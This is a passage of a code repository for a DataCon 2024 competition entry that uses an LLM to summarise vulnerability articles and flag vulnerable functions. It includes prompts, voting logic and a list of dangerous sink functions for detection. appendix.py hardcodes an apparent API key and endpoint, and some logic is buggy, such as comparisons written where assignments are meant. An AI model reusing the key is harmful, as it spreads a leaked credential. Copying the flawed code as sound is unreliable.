Repository: 123f321/datacon24_vuln_wp Branch: main Commit: 56424ce59834 Files: 38 Total size: 437.5 KB Directory structure: gitextract_r6et4_lx/ ├── README.md ├── task1_source_code/ │ ├── appendix.py │ ├── pic_expand.py │ ├── test.py │ └── test_examples/ │ ├── 200 │ ├── 201 │ ├── 202 │ ├── 203 │ ├── 250.txt │ └── 251.txt └── task2_source_code/ ├── final_version/ │ ├── Splitting_function_C2.py │ ├── Splitting_function_CC.py │ ├── Splitting_function_go.py │ ├── Splitting_function_java.py │ ├── Splitting_function_php.py │ ├── Splitting_function_py.py │ ├── Splitting_jsp.py │ ├── arbitrary.py │ ├── bof_memory.py │ ├── bypass.py │ ├── command_memory.py │ ├── int_overflow.py │ ├── others_memory.py │ └── test.py └── first_version/ ├── Splitting_function_C2.py ├── Splitting_function_CC.py ├── Splitting_function_go.py ├── Splitting_function_java.py ├── Splitting_function_php.py ├── Splitting_function_py.py ├── Splitting_jsp.py ├── arbitrary.py ├── bof.py ├── bypass.py ├── command.py ├── int_overflow.py ├── others.py └── test.py ================================================ FILE CONTENTS ================================================ ================================================ FILE: README.md ================================================ # datacon24_vuln_wp https://www.datacon.org.cn/competition/competitions/91/introduction 该项目基于datacon比赛2024年漏洞分析赛道冠军战队0817iotg的完整解题框架,集成了一个基于大模型的自动化漏洞分析系统,内容包括情报提取和漏洞分析两部分内容的可执行docker压缩包以及相关功能说明 ## 一、情报提取 ### 1.1问题描述 在进行漏洞挖掘工作时,对特定目标的历史漏洞挖掘经验的学习是至关重要的一步。然而,传统的搜索引擎在面对海量数据时往往显得效率低下,难以快速有效地获取所需的关键信息。近年来,随着人工智能大模型技术的发展及其在自然语言处理方面的显著进步,利用大模型从海量漏洞分析文章中提取关键知识已经成为一种可行的方法。 本挑战要求选手利用大模型技术,对漏洞分析文章进行高效梳理,从中提取出有价值的摘要信息,任务包括但不限于:文献整理、文本预处理、关键信息提取、摘要生成、结果验证等。 ### 1.2核心思路 ![image1](https://github.com/user-attachments/assets/62b038d9-8666-414c-8f2d-5f04fb246188) - 相关内容的源码位于task1_source_code目录下,主功能文件为test.py, test_examples目录下为该任务的部分测试数据集 - 使用BeautifulSoup4解析html文件,去除图片等无用信息。 - 运用提示工程方法生成精细化提示,拆分输出维度,使用两次大模型调用分别判定不同输出维度 - 运用投票模型检查结果,减少大模型输出内容的不确定性,并且去除不合理结果 - 扩展框架功能与识别范围,使其能够识别版本、修复建议;提取POC/EXP代码;以及支持图片内容识别 ### 1.3主要功能 - 1、能够调用大模型api对漏洞文章中的多维度信息进行自动的批量化提取,提取的信息维度包括文件名、漏洞编号、厂商或产品名、编程语言、是否有漏洞成因分析、危险函数名、是否有 POC/EXP、是否有 POC/EXP 解释 - 2、在功能1的基础上进一步对文章中的潜在POC/EXP进行判断并提取,在task1_source_code目录下的appendix.py文件中实现了相关功能 - 3、能够对漏洞文章中的图片信息进行识别并提取,在task1_source_code目录下的pic_expand.py文件中实现了相关功能 ## 二、漏洞挖掘 ### 2.1问题描述 漏洞挖掘是网络安全工作中不可或缺的一环,但传统的审计方法耗时耗力,且静态分析技术存在一定的局限性。随着人工智能技术特别是大模型的发展,通过对代码中的语义进行深度分析,实现更为精准的漏洞挖掘已经成为可能。这种新型的技术手段不仅提高了漏洞检测的准确性,还极大地提升了工作效率。 本题要求选手自行编写程序,并结合大模型技术自动化识别出漏洞样例中存在的安全隐患。具体任务包括:知识提取、代码分析、漏洞识别、误报消除等。通过本次比赛,参赛者不仅能够积累漏洞模式增强自身的漏洞挖掘能力,还能深入了解大模型在漏洞检测领域的应用前景。这不仅有助于提高个人的网络安全技术水平,也为未来网络安全工具的研发提供了新的思路。 ### 2.2核心思路 ![image](https://github.com/user-attachments/assets/35efa6c1-df41-4f45-b841-e64c93050d33) - 相关内容的源码位于task2_source_code目录下,存在两个代码功能版本,first_version目录下为基础版本,其实现的功能为仅通过设计提示词分析题目所提供的7类漏洞;final_version目录下的最终版本,具体功能实现为,在设计提示词的过程中额外加入了一部分已知漏洞信息作为规则,从而提高大模型分析的准确率 - 根据文件总大小对待分析文件进行排序 - 过滤无关文件类型,然后根据编程语言进行函数切分 - 运用多种方法分类进行漏洞查找 - 针对代码量过大的工程,使用基于提示工程的初步筛查提取可能包含漏洞的种子函数 - 根据函数切分结果与初筛结果提取种子函数内容,根据不同漏洞类型,调用不同子模块进行二次筛查 - 针对漏洞模式较为简单的漏洞类型,使用提示工程进行漏洞筛查 - 针对漏洞样例种类丰富的漏洞类型,使用RAG技术进行漏洞筛查 - 针对其他漏洞类型,结合两种思路,根据测试效果择优选择 ### 2.3主要功能 - 1、能够针对复杂情况实现函数级别的切分,能够针对多文件、长代码(上万行)、多语言类型的原始分析样本进行切分处理,并最终通过排序以及多轮提示,将涉及漏洞的代码内容完整地提供给大模型进行分析。 - 2、能够针对多种不同的漏洞类型(race conditon、sql注入、double-fetch等)进行初筛与分类,并在此基础上选择特定的分析提示词,实现各类漏洞自动化的分析 - 3、针对已指定的漏洞类型(buff_overflow、command_injection等),通过较为完备的提示词以及置信度分析方法,利用大模型分析出最有可能的漏洞函数 ================================================ FILE: task1_source_code/appendix.py ================================================ #!/usr/local/bin/python3 #赛题一的额外维度目标分析,包括版本、POC提取等 import requests from langchain_openai import ChatOpenAI from langchain_core.messages import HumanMessage, SystemMessage from langchain.prompts import PromptTemplate,ChatPromptTemplate from langchain.chains import LLMChain, SimpleSequentialChain from langchain.prompts import ( ChatPromptTemplate, PromptTemplate, SystemMessagePromptTemplate, AIMessagePromptTemplate, HumanMessagePromptTemplate ) from langchain.output_parsers import StructuredOutputParser, ResponseSchema from langchain.schema import ( AIMessage, HumanMessage, SystemMessage ) import os import json import time from bs4 import BeautifulSoup import re # prompt informations HumanPrompt = PromptTemplate( template=""" User question: if given some text and script from a html website, please summarize the following information: Vulnerability ID: The CVE ID corresponding to the vulnerability described in the article, in the format CVE-XXXX-XXXX. If there is no specific ID, it is NULL. Vendor or Product Name: The vendor or product name corresponding to the vulnerability described in the article. If both exist, take the vendor name. Software version number: The version number of the affected product device, usually appears in the form of "Tested Versions: ". Mitigation recommendations: Guidance on how to mitigate vulnerabilities, usually appears in the form of "Suggested Mitigations:". Extracted POC/EXP: Proof of Concept or Exploit extracted from the article, usually appears in the form of "Proof-of-Concept:". s {ocr_result} answer user's question with the information in output format: {format_instructions} let us analyse it step by step, give us your analyse procedure, and be careful about the following things: 1.Check whether the "Affected Version(s)" field and the "Tested Version(s)" field exist in the article. If only "Affected Version(s)" or only "Tested Version(s)" exists, use it as the content of "Software version number". If both "Affected Version(s)" and "Tested Version(s)" exist, use the content of "Affected Version(s)" as the content of "Software version number". 2.Check whether the "Suggested Mitigations" or "Mitigations" field exists in the article. If so, use the content of "Suggested Mitigations" as the content of "Mitigation recommendations".If not, Summarize mitigation suggestions from the article as content of "Mitigation recommendations". 3.Check whether the "Proof-of-Concept" field exists in the article.If so, use the content of "Proof-of-Concept" as the content of "Extracted POC/EXP". If not, set field "Extracted POC/EXP" as NULL. 4.Make sure all fields are fully extracted, especially "Proof-of-Concept". 5.Output all the extracted fields in a complete JSON format without using referential sentences such as "See the Python script provided above." """, input_variables=["ocr_result","format_instructions"] ) SystemPrompt = PromptTemplate( template="You are a cyber security engineer whose job is to look at vulnerability disclosure websites and summarize vulnerability information, you have the knowledge about CVE, poc(proof of concept) and exp(exploit), know all kinds of common-used programming language, and can read both English and Chinese.", ) vender_str="PHP;Linksys;Google;Asus;华夏;Mongoose;OFFICE;Mail GPU;SnakeYAML;WebKit;Microsoft;OpenCart;Cajviewer;ZZCMS;Linux;Askey;Oracle;Github;Calibre;Typora;Bitrix24;bluetooth_stack;Foxit;Netgear;SolarWinds;TP-Link;Samsung;Adobe;Singtel;Acrobat;CS-Cart;Tesla;Apple;SEACMS;Shopware;Gitlab;Chamilo;Windows;LMS;Juniper;Qemu;OwnCloud;NULL;ChamiloLMS;Confluence;Apache;D-Link;F5;Prolink;Trend;Icecast;Hancom;Schneider;Mikrotik;Netatalk;NodeBB;Ivanti;Openwrt;Huawei;Dolibarr;KMPlayer;Android;EXIM;MarkText;Cisco;Razer;Obsidian;然之;Fortinet;Sudo" program_str="JAVA;PHP;JAVASCRIPT;NULL;PYTHON;C;HTML;SHELL;C#;TYPESCRIPT;ASP;RUBY;C++" sink_str="gets;scanf;strcpy;strcat;sprintf;vsprintf;stpcpy;wcscpy;memcpy;memmove;memset;printf;fprintf;vprintf;vfprintf;fscanf;fgets;input;array.array;eval;system;popen;exec;execl;execlp;execve;execvp;fork;os.system;subprocess.Popen;subprocess.call;subprocess.run;Runtime.exec;Runtime.getRuntime().exec;shell_exec;passthru;proc_open;do_system;mysql_query;mysqli_query;pg_query;sqlite3.execute;sqlite3_exec;psycopg2.execute;ActiveRecord.find_by_sql;prepare;unserialize;pickle.load;pickle.loads;cPickle.load;cPickle.loads;ObjectInputStream.readObject;Marshal.load;YAML.load;BinaryFormatter.Deserialize;Storable::thaw;open;fopen;readfile;file_get_contents;include;require;chmod;chown;os.chmod;os.chown;setuid;setgid;chroot;sleep;wait;tmpnam;tmpfile;tempnam;tempfile.mktemp;malloc;free;close;dup;ShellExecute;CreateProcess;strcpy;strcat;stpcpy;wcscpy;ActiveRecord.find_by_sql" #output response_schemas = [ # ResponseSchema(name="cve", description="Vulnerability ID"), # ResponseSchema(name="vendor", description="Vendor or Product Name"), # ResponseSchema(name="language", description="Programming Language"), # ResponseSchema(name="trace_language", description="Backtrace Lanuage"), # ResponseSchema(name="is_cause", description="Is Cause Analysis"), # ResponseSchema(name="function", description="Dangerous Function Name"), # ResponseSchema(name="is_POC", description="Is POC/EXP"), # ResponseSchema(name="is_explain", description="Is POC/EXP Explanation"), # ResponseSchema(name="is_related", description="Is Related"), ResponseSchema(name="version", description="Software version number"), ResponseSchema(name="Recommendations", description="Mitigation recommendations"), ResponseSchema(name="POC/EXP", description="Extracted POC/EXP"), ] def extract_text_from_html(html_file_path): # 读取HTML文件 with open(html_file_path, 'r', encoding='utf-8') as file: html_content = file.read() # 使用BeautifulSoup解析HTML soup = BeautifulSoup(html_content, 'html.parser') for unwanted_tag in soup(['script', 'style', 'noscript', 'header', 'footer']): unwanted_tag.decompose() text = soup.get_text() lines = text.splitlines() non_empty_lines = [line.strip() for line in lines if line.strip()] output_text = "\n".join(non_empty_lines) return output_text """ Connect to the OpenAI API and return the response """ # 数据集所在的文件目录 #data_dir = '/vlun_demo' data_dir = './data' # 答案文件保存的目录 #answer_dir = '/result' answer_dir = './result' # 提示词 init_prompt = '''你的提示词''' # chat_template = ChatPromptTemplate.from_messages( # [ # ("system", "You are a cyber security engineer whose job is to look at vulnerability disclosure websites and compile vulnerability information."), # ("human", "Hello, how are you doing?"), # ("ai", "I'm doing well, thanks!"), # ("human", "{user_input}"), # ] # ) # create SystemMessagePromptTemplate SystemMessagePrompt = SystemMessagePromptTemplate(prompt=SystemPrompt) # create HumanMessagePromptTemplate HumanMessagePrompt = HumanMessagePromptTemplate(prompt=HumanPrompt) # conbine Prompt chat_template = ChatPromptTemplate.from_messages([SystemMessagePrompt,HumanMessagePrompt]) output_parser = StructuredOutputParser.from_response_schemas(response_schemas) format_instructions = output_parser.get_format_instructions() def read_words_from_file(file_path, num_words): words = [] try: with open(file_path, 'r', encoding='utf-8') as file: for line in file: words.extend(line.split()) words.append('\n') if len(words) >= num_words: break return ' '.join(words[:num_words]) except FileNotFoundError: print(f"File not found: {file_path}") return "" except Exception as e: print(f"An error occurred: {e}") return "" def llm_api_test(prompt): llm = ChatOpenAI( streaming=True, verbose=True, # key和base开赛后提供 openai_api_key='6ad9127594fa1951b18de59fa8ecb856', openai_api_base='https://poc.qianxin.com', model_name='tq-gpt', timeout=300 ) chain=LLMChain(llm=llm, prompt=chat_template) try: output = chain.run(ocr_result=prompt,format_instructions=format_instructions,vender_list=vender_str,language_list=program_str) print(output) json_out=output_parser.parse(output) return json_out except Exception as e: print(f"Request timed out. {e}") return None def func(input, output): root_dir = 'data' files = os.listdir(root_dir) # 仅选择数字命名的文件 numeric_files = [f for f in files if f.isdigit()] # 按数字大小排序文件名 sorted_files = sorted(numeric_files, key=int) for file in sorted_files: #print(file) file_path = root_dir+'/'+file #print(file_path) result_string = extract_text_from_html(file_path) #print(result_string) json_out=llm_api_test(result_string) while json_out==None: print("error: return is None, try again") json_out=llm_api_test(result_string) print("json_out",json_out) json_str = json.dumps(json_out, indent=4) print("json_str",json_str) with open('output.txt', 'a') as f: f.write(json_str) if __name__ == '__main__': func(data_dir, answer_dir) ================================================ FILE: task1_source_code/pic_expand.py ================================================ #赛题一的扩展功能,扩展了从html网页文件中直接提取图片的能力 from bs4 import BeautifulSoup import requests from urllib.parse import urljoin from paddleocr import PaddleOCR, draw_ocr def extract_text_from_html(html_file_path): # 读取HTML文件 image_text="" with open(html_file_path, 'r', encoding='utf-8') as file: html_content = file.read() # 使用BeautifulSoup解析HTML soup = BeautifulSoup(html_content, 'html.parser') base_url = 'https://starlabs.sg' # Lists to hold image URLs and base64 images image_urls = [] # Extract image URLs from tags img_tags = soup.find_all('img') for img in img_tags: src = img.get('src') if src: if src.startswith('data:image/'): # This is a base64 encoded image pass else: # Resolve relative URLs full_url = urljoin(base_url, src) image_urls.append(full_url) # Extract image URLs from tags that are icons or images link_tags = soup.find_all('link', href=True) for link in link_tags: rel = link.get('rel', []) type_attr = link.get('type', '') href = link['href'] if 'icon' in rel or type_attr.startswith('image/'): # Resolve relative URLs full_url = urljoin(base_url, href) image_urls.append(full_url) ocr = PaddleOCR(use_angle_cls=True, lang='en') # need to run only once to download and load model into memory print("Image URLs:") for url in image_urls: print(url) img_path = url result = ocr.ocr(img_path, cls=True) print("parsing result") for idx in range(len(result)): res = result[idx] for line in res: image_text+=line[1][0] #print("line",line) #print(len(line)) print(image_text) for unwanted_tag in soup(['script', 'style', 'noscript', 'header', 'footer']): unwanted_tag.decompose() text = soup.get_text() lines = text.splitlines() non_empty_lines = [line.strip() for line in lines if line.strip()] output_text = "\n".join(non_empty_lines) return output_text+image_text #extract_text_from_html("data/212") ================================================ FILE: task1_source_code/test.py ================================================ #!/usr/local/bin/python3 import requests from langchain_openai import ChatOpenAI from langchain_core.messages import HumanMessage, SystemMessage from langchain.prompts import PromptTemplate,ChatPromptTemplate from langchain.chains import LLMChain, SimpleSequentialChain from langchain.prompts import ( ChatPromptTemplate, PromptTemplate, SystemMessagePromptTemplate, AIMessagePromptTemplate, HumanMessagePromptTemplate ) from langchain.output_parsers import StructuredOutputParser, ResponseSchema from langchain.schema import ( AIMessage, HumanMessage, SystemMessage ) import tiktoken import os import json import time from bs4 import BeautifulSoup import re import csv # 数据集所在的文件目录 data_dir = '/data' #data_dir = './data' # 答案文件保存的目录 answer_dir = '/result' #answer_dir = './result' env_vars = os.environ key_env=env_vars['API_KEY'] base_env=env_vars['API_BASE'] #8bb73128d0b5732a1e0723f922245df8 #key_env='' #base_env='https://poc.qianxin.com' # prompt informations HumanPromptFormer = PromptTemplate( template=""" User question: if given some text and script from a html website, please summarize the following information: Vulnerability ID: The CVE ID corresponding to the vulnerability described in the article, in the format CVE-XXXX-XXXX. If there is no specific ID, it is NULL. Vendor or Product Name: The vendor or product name corresponding to the vulnerability described in the article. If both exist, take the vendor name. Programming Language: The programming language used by the object with the vulnerability. If multiple languages are involved, take the language where the vulnerability point is located. Backtrace Lanuage: The programming language suggested by back trace chain or stack trace chain, default is NULL if there is no back trace chain. Is Cause Analysis: Whether the article contains an explanation of the cause of the vulnerability. TRUE if yes, FALSE if no. Dangerous Function: Directly-mentioned dangerous function that triggers the vulnerability described in the article, such as memmove, do_system. If there is no such function, it is NULL. {ocr_result} answer user's question with the information in output format: {format_instructions} let us analyse it step by step, give us your analyse procedure, and be careful about the following things: 1.if there are many CVE IDs in an article, only output one CVE ID that is most relevant to the text; 2.all vendor that you need to check is listed in {vender_list}, different items are separated with ';', NULL means no vender or product name are found; 3. 4.if many vendors are located, only output one vender that is closed to the CVE ID information and is directly mentioned(eg: output Android instead of Google if find "Android" in text but no "google" in text); 5.all programming languages that you need to check is listed in {language_list}, different items are separated with ';', NULL means no other languages are found, your Programming Language output must be in the list; 6. 7.If there are many programming languages found, output the language that is most relevant to the vulnerability trigger point(near the Dangerous Function output); 8.Dangerous function must be directly mentioned in the text, you can use some content relevant to the dangerous function if it is not directly found(eg: output telnet if there is no system); 9.Regard "Is Cause Analysis" to be true when the article describes the code near a dangerous function(Attacking codes such as PoC is not this type of code), return FALSE if there are no content about code nearing dangerous function; 10. 11. """, input_variables=["ocr_result","format_instructions","vender_list","language_list"] ) HumanPromptLater = PromptTemplate( template=""" User question: if given some text and script from a html website, please summarize the following information: POC/EXP Presence: Determine if the article contains a Proof of Concept (POC) or exploit code (EXP). If present, output TRUE; otherwise, output FALSE. POC/EXP Explanation: Identify whether the article provides an explanation or commentary about the POC/EXP code. If explanations exist, output TRUE; otherwise, output FALSE. Is Related: Whether the article is related to vulnerability mining. If it is not related to vulnerability mining or does not involve specific vulnerabilities, return FALSE, otherwise, return TRUE. {ocr_result} answer user's question with the information in output format: {format_instructions} let us analyse it step by step, give us your analyse procedure, and be careful about the following things: 1. Is related should be TRUE if the article is about a certain vulnerability(eg:has a CVE id); 2. Is related should be FALSE if the article describes cyber security, but do not describe vulnerability mining(eg: it describes virus); 3. If the article contains a functional code snippet, a series of steps or instructions, or commands that demonstrate how to exploit a vulnerability, carry out an attack, or crash the vulnerable system, mark POC/EXP Presence as TRUE; otherwise, mark it as FALSE. 4. Step 4.1-4.4 are used for POC/EXP Explanations: 4.1 POC/EXP Explanation requires a field-by-field explanation of each parameter or field involved in the POC/EXP, and this explanation must be separate from the POC code block; 4.2 The explanation must detail all fields or parameters (e.g., HTTP headers, input parameters, function arguments) and cannot rely on common commands (e.g., telnet, curl) or explain only one field; 4.3 If the explanation does not meet these criteria or is not separate from the POC code block, mark POC/EXP Explanation as FALSE; 4.4 POC/EXP Explanations are text close to POC/EXP(code itself is not explaination), comment of code is also regarded as explainations. 5. Focused Analysis: 5.1. Pay attention to both the presence of POC/EXP and the presence of explanation. 5.2. When POC/EXP Presence is TRUE, verify if there is enough explanation to mark POC/EXP Explanation as TRUE. 5.3. If the code is present but lacks detailed explanation or commentary about the specific fields in the POC/EXP, mark POC/EXP Explanation as FALSE. 6.please ensure that the output json is a legal json file, and output your analyse procedure. """, input_variables=["ocr_result","format_instructions"] ) SystemPrompt = PromptTemplate( template="You are a cyber security engineer whose job is to look at vulnerability disclosure websites and summarize vulnerability information, you have the knowledge about CVE, poc(proof of concept) and exp(exploit), know all kinds of common-used programming language, and can read both English and Chinese.", ) vender_str="PHP;Linksys;Google;Asus;华夏;Mongoose;OFFICE;Mail GPU;SnakeYAML;WebKit;Microsoft;OpenCart;Cajviewer;ZZCMS;Linux;Askey;Oracle;Github;Calibre;Typora;Bitrix24;bluetooth_stack;Foxit;Netgear;SolarWinds;TP-Link;Samsung;Adobe;Singtel;Acrobat;CS-Cart;Tesla;Apple;SEACMS;Shopware;Gitlab;Chamilo;Windows;LMS;Juniper;Qemu;OwnCloud;NULL;Confluence;Apache;D-Link;F5;Prolink;Trend;Icecast;Hancom;Schneider;Mikrotik;Netatalk;NodeBB;Ivanti;Openwrt;Huawei;Dolibarr;KMPlayer;Android;EXIM;MarkText;Cisco;Razer;Obsidian;然之;Fortinet;Sudo" program_str="JAVA;PHP;JAVASCRIPT;NULL;PYTHON;C;HTML;SHELL;C#;TYPESCRIPT;ASP;RUBY;C++" sink_str="gets;scanf;strcpy;strcat;sprintf;vsprintf;stpcpy;wcscpy;memcpy;memmove;memset;printf;fprintf;vprintf;vfprintf;fscanf;fgets;input;array.array;eval;system;popen;exec;execl;execlp;execve;execvp;fork;os.system;subprocess.Popen;subprocess.call;subprocess.run;Runtime.exec;shell_exec;proc_open;do_system;ShellExecute;CreateProcess" #output response_schemas_former = [ ResponseSchema(name="cve", description="Vulnerability ID"), ResponseSchema(name="vendor", description="Vendor or Product Name"), ResponseSchema(name="language", description="Programming Language"), ResponseSchema(name="trace_language", description="Backtrace Lanuage"), ResponseSchema(name="is_cause", description="Is Cause Analysis"), ResponseSchema(name="function", description="Dangerous Function Name"), #ResponseSchema(name="is_POC", description="Is POC/EXP"), #ResponseSchema(name="is_explain", description="Is POC/EXP Explanation"), #ResponseSchema(name="is_related", description="Is Related"), ] response_schemas_later = [ #ResponseSchema(name="cve", description="Vulnerability ID"), #ResponseSchema(name="vendor", description="Vendor or Product Name"), #ResponseSchema(name="language", description="Programming Language"), #ResponseSchema(name="is_cause", description="Is Cause Analysis"), #ResponseSchema(name="function", description="Dangerous Function Name"), ResponseSchema(name="is_POC", description="Is POC/EXP"), ResponseSchema(name="is_explain", description="Is POC/EXP Explanation"), ResponseSchema(name="is_related", description="Is Related"), ] length_limit=18000 def get_tokenizer(model_name='gpt-3.5-turbo'): encoding = tiktoken.encoding_for_model(model_name) return encoding # 计算文本的 token 数量 def tokenize(text, tokenizer=None): if tokenizer is None: tokenizer = get_tokenizer() # 使用 tokenizer 进行文本编码并返回 token 数量 tokens = tokenizer.encode(text) return len(tokens) def split_prompt(prompt, max_tokens, tokenizer=None): # 获取tokenizer encoding = tokenizer or get_tokenizer() # 对输入文本进行 token 化 prompt_tokens = encoding.encode(prompt) # 仅取前 max_tokens 个 token prompt_tokens = prompt_tokens[:max_tokens] # 只保留前 max_tokens 个 token # 返回 token 数量不超过 max_tokens 的文本块 chunks = [] if prompt_tokens: chunks.append(encoding.decode(prompt_tokens)) return chunks[0] def extract_text_from_html(html_file_path): # 读取HTML文件 with open(html_file_path, 'r', encoding='utf-8') as file: html_content = file.read() # 使用BeautifulSoup解析HTML soup = BeautifulSoup(html_content, 'html.parser') for unwanted_tag in soup(['script', 'style', 'noscript', 'header', 'footer']): unwanted_tag.decompose() text = soup.get_text() lines = text.splitlines() non_empty_lines = [line.strip() for line in lines if line.strip()] output_text = "\n".join(non_empty_lines) return output_text """ Connect to the OpenAI API and return the response """ # 提示词 init_prompt = '''你的提示词''' # chat_template = ChatPromptTemplate.from_messages( # [ # ("system", "You are a cyber security engineer whose job is to look at vulnerability disclosure websites and compile vulnerability information."), # ("human", "Hello, how are you doing?"), # ("ai", "I'm doing well, thanks!"), # ("human", "{user_input}"), # ] # ) # create SystemMessagePromptTemplate SystemMessagePrompt = SystemMessagePromptTemplate(prompt=SystemPrompt) def check_output_regex(output): pattern = r"maximum context length is 8000 tokens" if re.search(pattern, output): return 1 else: return 0 def llm_api_test_former(prompt): global length_limit llm = ChatOpenAI( streaming=True, verbose=True, # key和base开赛后提供 openai_api_key=key_env, openai_api_base=base_env, model_name='tq-gpt', timeout=300 ) # create HumanMessagePromptTemplate HumanMessagePrompt = HumanMessagePromptTemplate(prompt=HumanPromptFormer) # conbine Prompt chat_template = ChatPromptTemplate.from_messages([SystemMessagePrompt,HumanMessagePrompt]) output_parser = StructuredOutputParser.from_response_schemas(response_schemas_former) format_instructions = output_parser.get_format_instructions() if len(prompt)>length_limit: prompt = prompt[:length_limit] chain=LLMChain(llm=llm, prompt=chat_template) try: output = chain.run(ocr_result=prompt,format_instructions=format_instructions,vender_list=vender_str,language_list=program_str) print(output) json_out=output_parser.parse(output) # AI may regard a content to be None not NULL for i in range(10): if json_out["cve"] and json_out["vendor"] and json_out["language"] and json_out["trace_language"] and json_out["is_cause"] and json_out["function"]: break output = chain.run(ocr_result=prompt,format_instructions=format_instructions,vender_list=vender_str,language_list=program_str) #print(output) json_out=output_parser.parse(output) return json_out except Exception as e: print(f"Request timed out. {e}") if check_output_regex(str(e)) == 1: length_limit = length_limit - 2000 return None def llm_api_test_later(prompt): global length_limit llm = ChatOpenAI( streaming=True, verbose=True, # key和base开赛后提供 openai_api_key=key_env, openai_api_base=base_env, model_name='tq-gpt', timeout=300 ) # create HumanMessagePromptTemplate HumanMessagePrompt = HumanMessagePromptTemplate(prompt=HumanPromptLater) # conbine Prompt chat_template = ChatPromptTemplate.from_messages([SystemMessagePrompt,HumanMessagePrompt]) output_parser = StructuredOutputParser.from_response_schemas(response_schemas_later) format_instructions = output_parser.get_format_instructions() if len(prompt)>length_limit: prompt = prompt[:length_limit] try: output = chain.run(ocr_result=prompt,format_instructions=format_instructions) print(output) json_out=output_parser.parse(output) # AI may regard a content to be None not NULL for i in range(10): if json_out["is_POC"] and json_out["is_explain"] and json_out["is_related"]: break output = chain.run(ocr_result=prompt,format_instructions=format_instructions) json_out=output_parser.parse(output) return json_out except Exception as e: print(f"Request timed out. {e}") if check_output_regex(str(e)) == 1: length_limit = length_limit - 2000 return None def former_once(result_string): global length_limit length_limit = 18000 json_out_former=llm_api_test_former(result_string) for i in range(50): if json_out_former!=None: break json_out_former=llm_api_test_former(result_string) print(json_out_former) return json_out_former def later_once(result_string): global length_limit length_limit = 18000 json_out_later=llm_api_test_later(result_string) for i in range(50): if json_out_later!=None: break print("error: return is None, try again") json_out_later=llm_api_test_later(result_string) return json_out_later vender_relations=[ ("OFFICE", "Microsoft"), ("Askey", "Asus"), ("Acrobat", "Adobe"), ("Github", "Microsoft"), ("Android", "Google"), ("Confluence", "Atlassian") ] cpp_syms=["::","namespace","cpp","templete ","class ","iostream","catch (std::exception &e)","cin >>","cout <<","virtual "] def vote_ask(input, output): fout=open(output+"/res.csv",'w',newline='') #writer = csv.writer(fout,delimiter=';') root_dir = input files = os.listdir(root_dir) # 仅选择数字命名的文件 numeric_files = [f for f in files if f.isdigit()] # 按数字大小排序文件名 sorted_files = sorted(numeric_files, key=int) for file in sorted_files: try: print(file) file_path = root_dir+'/'+file print(file_path) result_string = extract_text_from_html(file_path) print(result_string) json_out_former=former_once(result_string) json_out_former2=former_once(result_string) json_out_former3=None vender_list = vender_str.split(';') program_list = program_str.split(';') #vote if json_out_former["vendor"] not in vender_list and json_out_former2["vendor"] in vender_list: json_out_former["vendor"]=json_out_former2["vendor"] elif json_out_former["vendor"] not in vender_list and json_out_former2["vendor"] not in vender_list: json_out_former3=former_once(result_string) if json_out_former3["vendor"] in vender_list: json_out_former["vendor"]=json_out_former3["vendor"] if json_out_former["vendor"] != json_out_former2["vendor"]: if not json_out_former3: json_out_former3=former_once(result_string) if json_out_former2["vendor"] == json_out_former3["vendor"]: json_out_former["vendor"]=json_out_former2["vendor"] vendor = json_out_former.get("vendor", "").lower() for a, b in vender_relations: a_lower, b_lower = a.lower(), b.lower() # 正向匹配:如果 vendor 是元组的第一个,且第二个出现在文本中 if vendor == a_lower and b_lower in result_string.lower(): json_out_former["vendor"] = b # 修改为元组的第二个值 break elif vendor == b_lower and b_lower in result_string.lower(): pass # 反向匹配:如果 vendor 是元组的第二个,且第一个出现在文本中 elif vendor == b_lower and a_lower in result_string.lower(): json_out_former["vendor"] = a # 修改为元组的第一个值 break if json_out_former["language"] != json_out_former2["language"]: if not json_out_former3: json_out_former3=former_once(result_string) if json_out_former2["language"] == json_out_former3["language"]: json_out_former["language"]=json_out_former3["language"] for json in [json_out_former,json_out_former2]: if json["trace_language"]=="C": for sym in cpp_syms: if sym in result_string: json["trace_language"]=="C++" break elif json["trace_language"]=="C++": find_sym=False for sym in cpp_syms: if sym in result_string: find_sym=True break if not find_sym: json["trace_language"]=="C" if json_out_former["trace_language"] != json_out_former2["trace_language"]: if not json_out_former3: json_out_former3=former_once(result_string) if json_out_former2["trace_language"] == json_out_former3["trace_language"]: json_out_former["trace_language"]=json_out_former3["trace_language"] if json_out_former["is_cause"] != json_out_former2["is_cause"]: if not json_out_former3: json_out_former3=former_once(result_string) if json_out_former2["is_cause"] == json_out_former3["is_cause"]: json_out_former["is_cause"]=json_out_former3["is_cause"] if json_out_former["cve"] != json_out_former2["cve"]: if not json_out_former3: json_out_former3=former_once(result_string) if json_out_former2["cve"] == json_out_former3["cve"]: json_out_former["cve"]=json_out_former3["cve"] if json_out_former["function"] != json_out_former2["function"]: if not json_out_former3: json_out_former3=former_once(result_string) if json_out_former2["function"] == json_out_former3["function"]: json_out_former["function"]=json_out_former3["function"] json_out_later=later_once(result_string) json_out_later2=later_once(result_string) json_out_later3=later_once(result_string) json_out_later4=later_once(result_string) #vote related_vote=0 if json_out_later['is_related'] == "FALSE": related_vote+=1 if json_out_later2['is_related'] == "FALSE": related_vote+=1 if json_out_later3['is_related'] == "FALSE": related_vote+=1 if json_out_later4['is_related'] == "FALSE": related_vote+=1 if json_out_later2['is_POC']=="TRUE" and json_out_later2["is_explain"]=="FALSE": json_out_later=json_out_later2 if json_out_later3['is_POC']=="TRUE" and json_out_later3["is_explain"]=="FALSE": json_out_later=json_out_later3 if json_out_later4['is_POC']=="TRUE" and json_out_later4["is_explain"]=="FALSE": json_out_later=json_out_later4 if json_out_later['is_POC']=="FALSE" and json_out_later["is_explain"]=="TRUE": json_out_later["is_explain"]=="FALSE" if related_vote >= 2: json_out_later['is_related'] = "FALSE" else: json_out_later['is_related'] = "TRUE" sink_list = sink_str.split(';') print("json",json_out_former,json_out_later) csv_row=[] #output if json_out_later['is_related']=="FALSE": csv_row=[file,"NULL","NULL","NULL","NULL","NULL","NULL","NULL"] else: #csv_row.append(file) csv_row.append(json_out_former["cve"]) csv_row.append(json_out_former["vendor"]) if json_out_former["trace_language"] != "NULL" and json_out_former["trace_language"] != json_out_former["language"]: csv_row.append(json_out_former["trace_language"]) else: csv_row.append(json_out_former["language"]) csv_row.append(json_out_former["is_cause"].upper()) if json_out_former["function"] in sink_list and json_out_former["function"] in result_string: csv_row.append(json_out_former["function"]) else: csv_row.append("NULL") csv_row.append(json_out_later["is_POC"].upper()) csv_row.append(json_out_later["is_explain"].upper()) if json_out_former["cve"]=='NULL' and json_out_former["vendor"]=='NULL' and json_out_former["is_cause"]=='FALSE' and 